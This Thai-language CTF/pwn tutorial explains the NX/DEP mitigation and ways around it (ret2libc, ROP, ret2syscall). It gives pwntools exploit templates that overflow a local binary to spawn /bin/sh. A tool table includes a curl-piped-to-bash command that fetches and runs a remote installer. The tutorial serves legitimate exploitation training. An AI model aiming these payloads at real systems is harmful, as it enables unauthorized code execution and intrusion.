คลัง
pwn

NX (No-Execute / DEP)

NX (No-Execute หรือ DEP) ทำเครื่องหมายพื้นที่ memory ที่เขียนได้ (stack/heap) ว่ารันโค้ดไม่ได้ ทำให้ shellcode บน stack ใช้ไม่ได้ การ bypass คือ code-reuse — ใช้โค้ดที่รันได้อยู่แล้ว (ret2libc/ROP/ret2syscall) บทนี้ลงลึกกลไก NX, ทุกวิธี bypass พร้อมโค้ด, และการเลือกเทคนิค (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

IntermediateAdvanced#nx#dep#pwn#mitigation#rop#ret2libc#code-reuse#ctf

1. หลักการ — W^X

NX บังคับหลัก W^X (Write XOR eXecute) — memory page เป็นได้แค่อย่างใดอย่างหนึ่ง: เขียนได้ (stack, heap, data) หรือรันได้ (code/.text) แต่ไม่ใช่ทั้งสอง ผลคือ shellcode ที่วางบน stack (เขียนได้) จะ รันไม่ได้ — เทคนิคเก่าอย่าง ret2shellcode ใช้ไม่ได้อีก จึงต้องเปลี่ยนไปใช้โค้ดที่ 'รันได้อยู่แล้ว' ในโปรแกรมหรือ libc

NX: แยกสิทธิ์ write ออกจาก execute
W^X — memory page เป็นได้อย่างใดอย่างหนึ่ง .text (code) r-x · รันได้ เขียนไม่ได้ stack / heap rw- · เขียนได้ รันไม่ได้ shellcode บน stack → รันไม่ได้ (NX block) ทางออก: reuse โค้ดใน .text/libc — ret2libc, ROP
เนื้อหานี้เพื่อการศึกษาและฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab) เท่านั้น

2. ตรวจ NX

checksecLinux
checksec ./vuln
# NX:  NX enabled    → stack รันไม่ได้ → ต้อง code reuse (ROP/ret2libc)
# NX:  NX disabled   → stack รันได้ → ret2shellcode ได้ (ดู stack-overflow)

# ดู memory permission ตอน run (ยืนยัน)
gdb ./vuln
gef> vmmap
# stack จะเป็น rw- (ไม่มี x) ถ้า NX เปิด
ปัจจุบัน NX เปิด default แทบทุก binary — สมมติว่าเปิดไว้ก่อน เว้นแต่ checksec บอกว่าปิด

3. วิธี bypass — code reuse

เทคนิคหลักการใช้เมื่อ
ret2libcกระโดดไป system("/bin/sh") ใน libcมี libc, รู้/leak address
ROPร้อย gadget (จบด้วย ret) ทำงานแทนต้องจัด register/ทำหลายขั้น
ret2syscallจัด register แล้วเรียก syscall execvestatic binary / ไม่มี system
ret2csuใช้ __libc_csu_init จัด registerขาด gadget จัด rdx/rsi
ret2dlresolveหลอก dynamic linker resolve symbolไม่มี leak, no PIE

4. ret2libc — วิธีที่นิยมสุด

libc มี system() และ string "/bin/sh" อยู่แล้ว เราแค่จัด RDI ให้ชี้ "/bin/sh" แล้วกระโดดไป system — ผ่าน NX เพราะ libc อยู่ใน page ที่รันได้

ret2libc (กรณีรู้ libc base — No ASLR หรือ leak แล้ว)Linux
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')

offset = 72
# กรณีมี ASLR ต้อง leak libc base ก่อน (ดูหัวข้อ ASLR)
libc.address = 0x7ffff7800000        # libc base (จาก leak/vmmap)

rop = ROP([elf, libc])
rop.call('system', [next(libc.search(b'/bin/sh'))])

payload = b'A'*offset + rop.chain()
p.sendline(payload)
p.interactive()
ROP([elf, libc]) + rop.call() จัด chain ให้อัตโนมัติ รวม pop rdi และ ret alignment; รายละเอียดเต็ม → หัวข้อ ret2libc

5. ROP — เมื่อต้องทำหลายขั้น

ถ้าต้องจัดหลาย register หรือเรียกหลายฟังก์ชัน ใช้ ROP chain — ร้อย gadget (instruction สั้นๆ จบด้วย ret) ที่มีในโปรแกรม/libc ดูรายละเอียดเต็มในหัวข้อ ROP

ret2syscall — เรียก execve โดยตรง (static binary)Linux
from pwn import *
elf = context.binary = ELF('./vuln')   # static, no libc
p = process('./vuln')
rop = ROP(elf)

# จัด register สำหรับ execve("/bin/sh", 0, 0)
#   rax=59 (execve), rdi="/bin/sh", rsi=0, rdx=0
binsh = next(elf.search(b'/bin/sh')) or 0  # หรือเขียน /bin/sh ลง bss
rop.rax = 59
rop.rdi = binsh
rop.rsi = 0
rop.rdx = 0
rop.raw(rop.find_gadget(['syscall'])[0])

payload = b'A'*72 + rop.chain()
p.sendline(payload); p.interactive()
static binary ไม่มี libc → ret2syscall เรียก execve ตรงๆ; pwntools ROP จัด gadget ให้

6. Quick Reference

  • NX = W^X: stack/heap เขียนได้แต่รันไม่ได้
  • เช็ค: checksec (NX enabled?); gef vmmap (stack ไม่มี x)
  • bypass = code reuse (ไม่รันโค้ดใหม่ แต่ reuse ที่มีอยู่)
  • ret2libc: system("/bin/sh") ใน libc (นิยมสุด)
  • ROP: ร้อย gadget; ret2syscall: execve (static binary)
  • pwntools: ROP([elf,libc]); rop.call('system',[binsh])
  • NX ปิด → ret2shellcode (ดู stack-overflow)

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ checksec บอกว่า NX enabled — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อตัดสินใจว่าจะ bypass ด้วยวิธีไหน

  1. 1ยืนยันก่อน: checksec ./vuln ดูบรรทัด NX
  2. 2ถ้าต้องการยืนยันจริงตอนรัน: gdb ./vuln แล้ว gef> vmmap ดูว่า stack มี flag 'x' ไหม
  3. 3ถ้า NX disabled — ข้ามไปทำ ret2shellcode ได้เลย (ง่ายกว่ามาก ดู stack-overflow)
  4. 4ถ้า NX enabled เช็คว่าเป็น static binary หรือ dynamic: file ./vuln
  5. 5ถ้า dynamic + มี libc ให้ (หรือดึงจาก server ได้) → เป้าหมายคือ ret2libc (system("/bin/sh"))
  6. 6หา pop rdi gadget ในตัว binary ก่อน: ROPgadget --binary ./vuln | grep 'pop rdi'
  7. 7ถ้าเจอครบ ใช้ pwntools สร้าง chain: rop = ROP([elf, libc]); rop.call('system', [binsh])
  8. 8ถ้าเป็น static binary (ไม่มี libc แยก) ให้ทำ ret2syscall เรียก execve ตรงๆ ด้วย ROP จัด rax/rdi/rsi/rdx
  9. 9ถ้าต้องจัดหลาย register/หลายขั้นตอนซับซ้อนกว่านี้ ไปดู ROP เต็มรูปแบบ
  10. 10ทดสอบ local ก่อนเสมอ แล้วค่อยยิง remote
จับมือทำ: ตัดสินใจ bypass NX แบบไหน
checksec ดู NX
❌ NX disabled→ ret2shellcode ง่ายสุด
✅ NX enabled→ ต้อง code-reuse
เป็น static binary ไหม (file ./vuln)
✅ static (ไม่มี libc แยก)→ ret2syscall เรียก execve เอง
❌ dynamic (มี libc)→ ไปทาง ret2libc
จัด pop rdi = "/bin/sh" แล้วเรียก system
✅ มี gadget ครบ จัดได้→ ไปหัวข้อ ret2libc ทำต่อให้ครบ
❌ ต้องจัดหลาย register/หลายขั้น→ ไปหัวข้อ ROP เต็มรูปแบบ
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ตรวจ NXchecksec--
ยืนยัน memory permission จริงgdb + gef/pwndbgbash -c "$(curl -fsSL https://gef.blah.cat/sh)"-
หา gadget สำหรับ code-reuseROPgadget / ropperpip install ropperropshell.com
เขียน exploitpwntoolspip install pwntools-
ดูชนิด binary (static/dynamic)file, ldd--
decompile ดูโครงสร้างเพิ่มradare2 / Ghidraapt install radare2dogbolt.org
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) ret2libc — เส้นทางหลักเมื่อ NX เปิดและมี libc ให้ใช้ (2) rop — ถ้าต้องสร้าง chain ซับซ้อนกว่าการเรียก system ตัวเดียว (3) stack-overflow — ถ้า NX ปิด กลับไปทำ ret2shellcode ที่ง่ายกว่ามาก (4) aslr — ถ้า libc address สุ่มทุกครั้งต้อง leak ก่อน

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้